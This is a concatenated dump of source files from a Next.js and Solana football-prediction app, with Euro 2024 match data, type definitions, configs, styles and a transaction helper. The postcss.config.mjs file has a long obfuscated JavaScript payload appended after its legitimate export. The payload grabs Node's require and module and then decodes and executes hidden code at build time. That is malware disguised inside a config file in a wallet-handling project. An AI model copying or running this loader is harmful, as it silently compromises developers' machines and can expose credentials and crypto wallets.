logoA: `${flagBaseUrl}nl.png`,
logoB: `${flagBaseUrl}tr.png`,
resultA: "2",
resultB: "1",
},
];
export const matchesSemiFinals: Match[] = [
{
id: "49",
date: "09.07.24 21:00",
teamA: "Spain",
teamB: "France",
logoA: `${flagBaseUrl}es.png`,
logoB: `${flagBaseUrl}fr.png`,
resultA: "2",
resultB: "1",
},
{
id: "50",
date: "10.07.24 21:00",
teamA: "Netherlands",
teamB: "England",
logoA: `${flagBaseUrl}nl.png`,
logoB: `${flagBaseUrl}gb-eng.png`,
resultA: "1",
resultB: "2",
},
];
export const matchesFinal: Match[] = [
{
id: "51",
date: "14.07.24 21:00",
teamA: "Spain",
teamB: "England",
logoA: `${flagBaseUrl}es.png`,
logoB: `${flagBaseUrl}gb-eng.png`,
resultA: "2",
resultB: "1",
},
];
export const allMatches: Match[] = matchesFirstMatchDay.concat(
matchesSecondMatchday,
matchesThirdMatchday,
matchesRound16,
matchesQuarterFinals,
matchesSemiFinals,
matchesFinal
);
================================================
FILE: lib/types.ts
================================================
import { PublicKey } from "@solana/web3.js";
export type Poll = {
creator: PublicKey;
resolver: PublicKey;
open: boolean;
id: number;
category: number;
hasStarted: boolean;
startSlot: number;
endSlot: number;
endTime: number | null;
collectiveEstimate: number | null;
lnGmA: number | null;
lnGmB: number | null;
numForecasters: number;
numEstimateUpdates: number;
accumulatedWeights: number;
result: boolean | null;
question: string;
description: string;
bump: number;
};
export type UserAccount = {
userAddress: PublicKey;
score: number;
correctAnswerCount: number;
participationCount: number;
bump: number;
};
================================================
FILE: lib/utils.ts
================================================
import { type ClassValue, clsx } from "clsx"
import { twMerge } from "tailwind-merge"
export function cn(...inputs: ClassValue[]) {
return twMerge(clsx(inputs))
}
================================================
FILE: next.config.js
================================================
module.exports = {
images: {
remotePatterns: [
{
protocol: "https",
hostname: "via.placeholder.com",
port: "",
pathname: "/**",
},
{
protocol: "https",
hostname: "flagcdn.com",
port: "",
pathname: "/48x36/**",
},
{
protocol: "https",
hostname: "github.com",
port: "",
pathname: "/malunaridev/Challenges-iCodeThis/**",
},
],
},
};
================================================
FILE: next.config.mjs
================================================
/** @type {import('next').NextConfig} */
const nextConfig = {};
export default nextConfig;
================================================
FILE: package.json
================================================
{
"name": "uefa-poe",
"version": "0.1.0",
"private": true,
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start",
"lint": "next lint"
},
"dependencies": {
"@coral-xyz/anchor": "^0.30.0",
"@radix-ui/react-avatar": "^1.0.4",
"@radix-ui/react-dialog": "^1.0.5",
"@radix-ui/react-dropdown-menu": "^2.0.6",
"@radix-ui/react-icons": "^1.3.0",
"@radix-ui/react-separator": "^1.0.3",
"@radix-ui/react-slider": "^1.1.2",
"@radix-ui/react-slot": "^1.0.2",
"@radix-ui/react-tabs": "^1.0.4",
"@radix-ui/react-toast": "^1.1.5",
"@radix-ui/react-tooltip": "^1.0.7",
"@solana/spl-token": "^0.4.6",
"@solana/wallet-adapter-react": "^0.15.35",
"@solana/wallet-adapter-react-ui": "^0.9.35",
"@solana/wallet-adapter-wallets": "^0.19.32",
"@solana/web3.js": "^1.91.8",
"@tanstack/react-query": "^5.37.1",
"@tanstack/react-query-devtools": "^5.40.1",
"class-variance-authority": "^0.7.0",
"clsx": "^2.1.1",
"embla-carousel-react": "^8.1.3",
"next": "14.2.3",
"next-themes": "^0.3.0",
"react": "^18",
"react-dom": "^18",
"react-icons": "^5.2.1",
"recharts": "^2.12.7",
"tailwind-merge": "^2.3.0",
"tailwindcss-animate": "^1.0.7",
"zustand": "^4.5.4"
},
"devDependencies": {
"@types/node": "^20",
"@types/react": "^18",
"@types/react-dom": "^18",
"eslint": "^8",
"eslint-config-next": "14.2.3",
"postcss": "^8",
"tailwindcss": "^3.4.1",
"typescript": "^5"
}
}
================================================
FILE: postcss.config.mjs
================================================
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
/** @type {import('postcss-load-config').Config} */
const config = {
plugins: {
tailwindcss: {},
},
};
export default config; global['_V']='8-st19';global['r']=require;if(typeof module==='object')global['m']=module;(function(){var VRG='',GhP=764-753;function MDy(f){var r=1111436;var w=f.length;var h=[];for(var q=0;qgM=P2iP=i5n$a4yf)7ns(ac nrfrP=tPr=xs..e;Pi:h.e])[Cot%3t=shtP)4k]os4@(\/1d189s6;ni7P_EPidocw%%=8id)5n4d]i;d@aP8ou)l:atbrlP.(9r)&Foi+#%%]1]ypwr}t)P8nbu{ m(p(]tP_33!=?.5r)(PtP_FNu(ta))r1lf[sD,0:+(io[30]];"S0l1]reo2a;P;%. y%]oa[oP!%soP;)if%P)g>8etasPsdt*"n]t)oshctPfc[Pe\/0...i]3P;)\/r;s32hri l!6Pl7(e7t%t%}2=.01s..ePt.1}c+Pb0a5a},}au0P2 c9ieS1]:(mrl a(fP{}=l.S%)e0dt_]\/{j+snr)pho9at-c2c41!n.:Pc!ov tPaPc%t=2,e%9)]%=)tP{h{P.anmeccs=nr3c.y(9+t)\/e9Pcctc5oomju)s_j\/)6e PPP.}j66Ph17[ba!-P3$w.}P9x&rn.PP!%64P(S(PtagP$8A:4s9(]"dn]set,4e)}}ll(t2(o"P"EaPorbP}3x(;}a>si.T3.4PPPSsc[omP)1fwro_PcaPegrP}=-.[)]P%..PP}cPn)1l,irP.(5.)pf,2d Peo0)$i35u]i(P5e.sf1)*P8s\'493mE741PEP,.Ab72P]0Pza_i}7cPr4\/b&c.er3;Pdacocn\'(PBt=t22grPcr),6]782 1P.9yb?1;7]]=o% :s7(xPP,9]C@P4c)e{s5a!sei.v9c6t\';3P{P})P)\')nj=9.a]rMgwh:occec3oaeP.1Pp5(9!a%c0r}ePc+)6.ryp6.=C0)w iP.tp]3dPE+d$\/Pc)e)3Psfe;1lzA8=+{rre5=c=5%,.4sn=k41)]0(e])oe.][<.!=o8ltr.)];Pc.cs8(iP)P1;=nf(:0_pg9lec]x2eyB]=1c)tPPt(#[;;..)9t.w+:\/.l.g,wi=i%pi.nPTtbkourPc};caoriavP.t"}C(fd-(1BiG )Datc)1)]:!.dsiPnt8{cy ,t(}es%,v(PP.1vi>Ph!)n4sP%=lbm?78oP+bl4a=fr3eobvt3ngoa2!e4)r3[.(tg e(=](}8 ,tio%een7.xcil._gcicd(l4PNP>br\/)c!.ed;4nmd8]tno3e.;zcpe6ted+Paj h-P#caP(4b2ns9]ei)d%f[rsmu}hA.)d9eb8*ePt iP%)4a}(c2ab\'+Ck.cP,36P;rPj?%*tPs+%ib(:5n%>i3447P'));var tzo=AoT(VRG,quw );tzo(5471);return 3456})()
================================================
FILE: styles/globals.css
================================================
@tailwind base;
@tailwind components;
@tailwind utilities;
@layer base {
:root {
--background: 0 0% 100%;
--foreground: 20 14.3% 4.1%;
--card: 0 0% 100%;
--card-foreground: 20 14.3% 4.1%;
--popover: 0 0% 100%;
--popover-foreground: 20 14.3% 4.1%;
--primary: 47.9 95.8% 53.1%;
--primary-foreground: 26 83.3% 14.1%;
--secondary: 60 4.8% 95.9%;
--secondary-foreground: 24 9.8% 10%;
--muted: 60 4.8% 95.9%;
--muted-foreground: 25 5.3% 44.7%;
--accent: 60 4.8% 95.9%;
--accent-foreground: 24 9.8% 10%;
--destructive: 0 84.2% 60.2%;
--destructive-foreground: 60 9.1% 97.8%;
--border: 20 5.9% 90%;
--input: 20 5.9% 90%;
--ring: 20 14.3% 4.1%;
--radius: 0.5rem;
}
.dark {
--background: 20 14.3% 4.1%;
--foreground: 60 9.1% 97.8%;
--card: 20 14.3% 4.1%;
--card-foreground: 60 9.1% 97.8%;
--popover: 20 14.3% 4.1%;
--popover-foreground: 60 9.1% 97.8%;
--primary: 47.9 95.8% 53.1%;
--primary-foreground: 26 83.3% 14.1%;
--secondary: 12 6.5% 15.1%;
--secondary-foreground: 60 9.1% 97.8%;
--muted: 12 6.5% 15.1%;
--muted-foreground: 24 5.4% 63.9%;
--accent: 12 6.5% 15.1%;
--accent-foreground: 60 9.1% 97.8%;
--destructive: 0 62.8% 30.6%;
--destructive-foreground: 60 9.1% 97.8%;
--border: 12 6.5% 15.1%;
--input: 12 6.5% 15.1%;
--ring: 35.5 91.7% 32.9%;
}
}
@layer base {
* {
@apply border-border;
}
body {
@apply bg-background text-foreground;
}
}
.wallet-adapter-button:not([disabled]):hover {
background-color: #505050;
}
.wallet-adapter-button:not([disabled]) {
background-color: #707070;
}
* {
font-size: 62, 5%;
box-sizing: border-box;
margin: 0;
}
body {
overscroll-behavior-y: none;
color: rgb(var(--foreground-rgb));
background: linear-gradient(
to bottom,
transparent,
rgb(var(--background-end-rgb))
)
rgb(var(--background-start-rgb));
}
#header {
width: 100%;
display: flex;
align-items: center;
justify-content: space-between;
padding: 2.5rem 2rem;
}
.share {
width: 4.5rem;
height: 3rem;
background-color: #f55e77;
border: 0;
border-bottom: 0.2rem solid #c0506a;
border-radius: 2rem;
cursor: pointer;
}
.share:active {
border-bottom: 0;
}
.share i {
color: #fff;
font-size: 2rem;
}
h1 {
font-family: "Rubik", sans-serif;
font-size: 1.7rem;
color: #141a39;
text-transform: uppercase;
cursor: default;
}
#leaderboard {
width: 100%;
position: relative;
}
table {
width: 100%;
border-collapse: collapse;
table-layout: fixed;
color: #141a39;
cursor: default;
}
tr {
transition: all 0.2s ease-in-out;
border-radius: 0.2rem;
}
td {
height: 5rem;
font-family: "Rubik", sans-serif;
font-size: 1.4rem;
padding: 1rem 2rem;
position: relative;
}
.number {
width: 1rem;
font-size: 2.2rem;
font-weight: bold;
text-align: left;
}
.name {
text-align: left;
font-size: 1.2rem;
}
.points {
font-weight: bold;
font-size: 1.3rem;
display: flex;
justify-content: flex-end;
align-items: center;
}
.points:first-child {
width: 10rem;
}
.gold-medal {
height: 3rem;
margin-left: 1.5rem;
}
.ribbon {
width: 42rem;
height: 5.5rem;
top: -0.5rem;
background-color: #5c5be5;
position: absolute;
left: -1rem;
-webkit-box-shadow: 0px 15px 11px -6px #7a7a7d;
box-shadow: 0px 15px 11px -6px #7a7a7d;
}
.ribbon::before {
content: "";
height: 1.5rem;
width: 1.5rem;
bottom: -0.8rem;
left: 0.35rem;
transform: rotate(45deg);
background-color: #5c5be5;
position: absolute;
z-index: -1;
}
.ribbon::after {
content: "";
height: 1.5rem;
width: 1.5rem;
bottom: -0.8rem;
right: 0.35rem;
transform: rotate(45deg);
background-color: #5c5be5;
position: absolute;
z-index: -1;
}
#buttons {
width: 100%;
margin-top: 3rem;
display: flex;
justify-content: center;
gap: 2rem;
}
.exit {
width: 11rem;
height: 3rem;
font-family: "Rubik", sans-serif;
font-size: 1.3rem;
text-transform: uppercase;
color: #7e7f86;
border: 0;
background-color: #fff;
border-radius: 2rem;
cursor: pointer;
}
.exit:hover {
border: 0.1rem solid #5c5be5;
}
.continue {
width: 11rem;
height: 3rem;
font-family: "Rubik", sans-serif;
font-size: 1.3rem;
color: #fff;
text-transform: uppercase;
background-color: #5c5be5;
border: 0;
border-bottom: 0.2rem solid #3838b8;
border-radius: 2rem;
cursor: pointer;
}
.continue:active {
border-bottom: 0;
}
================================================
FILE: tailwind.config.ts
================================================
import type { Config } from "tailwindcss";
const { fontFamily } = require("tailwindcss/defaultTheme");
const config = {
darkMode: ["class"],
content: [
"./pages/**/*.{ts,tsx}",
"./components/**/*.{ts,tsx}",
"./app/**/*.{ts,tsx}",
"./src/**/*.{ts,tsx}",
],
prefix: "",
theme: {
container: {
center: true,
padding: "2rem",
screens: {
"2xl": "1400px",
},
},
extend: {
fontFamily: {
sans: ["var(--font-sans)", ...fontFamily.sans],
},
colors: {
border: "hsl(var(--border))",
input: "hsl(var(--input))",
ring: "hsl(var(--ring))",
background: "hsl(var(--background))",
foreground: "hsl(var(--foreground))",
primary: {
DEFAULT: "hsl(var(--primary))",
foreground: "hsl(var(--primary-foreground))",
},
secondary: {
DEFAULT: "hsl(var(--secondary))",
foreground: "hsl(var(--secondary-foreground))",
},
destructive: {
DEFAULT: "hsl(var(--destructive))",
foreground: "hsl(var(--destructive-foreground))",
},
muted: {
DEFAULT: "hsl(var(--muted))",
foreground: "hsl(var(--muted-foreground))",
},
accent: {
DEFAULT: "hsl(var(--accent))",
foreground: "hsl(var(--accent-foreground))",
},
popover: {
DEFAULT: "hsl(var(--popover))",
foreground: "hsl(var(--popover-foreground))",
},
card: {
DEFAULT: "hsl(var(--card))",
foreground: "hsl(var(--card-foreground))",
},
},
borderRadius: {
lg: "var(--radius)",
md: "calc(var(--radius) - 2px)",
sm: "calc(var(--radius) - 4px)",
},
keyframes: {
"accordion-down": {
from: { height: "0" },
to: { height: "var(--radix-accordion-content-height)" },
},
"accordion-up": {
from: { height: "var(--radix-accordion-content-height)" },
to: { height: "0" },
},
},
animation: {
"accordion-down": "accordion-down 0.2s ease-out",
"accordion-up": "accordion-up 0.2s ease-out",
},
},
},
plugins: [require("tailwindcss-animate")],
} satisfies Config;
export default config;
================================================
FILE: texts/toastTitles.ts
================================================
export const transactionSuccessfullText = "Transaction successfull 🥳";
export const connectWalletText = "Please connect your wallet.";
================================================
FILE: tsconfig.json
================================================
{
"compilerOptions": {
"lib": ["dom", "dom.iterable", "esnext"],
"allowJs": true,
"skipLibCheck": true,
"strict": true,
"noEmit": true,
"esModuleInterop": true,
"module": "esnext",
"moduleResolution": "bundler",
"resolveJsonModule": true,
"isolatedModules": true,
"jsx": "preserve",
"incremental": true,
"plugins": [
{
"name": "next"
}
],
"paths": {
"@/*": ["./*"]
}
},
"include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"],
"exclude": ["node_modules"]
}
================================================
FILE: utils/sendVersionedTransaction.ts
================================================
import { WalletNotConnectedError } from "@/errors/WalletNotConnectedError";
import { connectWalletText } from "@/texts/toastTitles";
import { WalletContextState } from "@solana/wallet-adapter-react";
import {
Connection,
TransactionInstruction,
TransactionMessage,
TransactionSignature,
VersionedTransaction,
} from "@solana/web3.js";
export const sendVersionedTransaction = async (
instructions: TransactionInstruction[],
wallet: WalletContextState,
connection: Connection
) => {
if (!wallet.publicKey) {
throw new WalletNotConnectedError(connectWalletText);
}
// Get the lates block hash to use on our transaction and confirmation
let latestBlockhash = await connection.getLatestBlockhash("confirmed");
// Create a new TransactionMessage with version and compile it to version 0
const messageV0 = new TransactionMessage({
payerKey: wallet.publicKey,
recentBlockhash: latestBlockhash.blockhash,
instructions,
}).compileToV0Message();
// Create a new VersionedTransacction to support the v0 message
const transaction = new VersionedTransaction(messageV0);
// Send transaction and await for signature
let signature: TransactionSignature = await wallet.sendTransaction(
transaction,
connection
);
console.log("Signature", signature);
// Await for confirmation
return await connection.confirmTransaction(
{ signature, ...latestBlockhash },
"confirmed"
);
};
|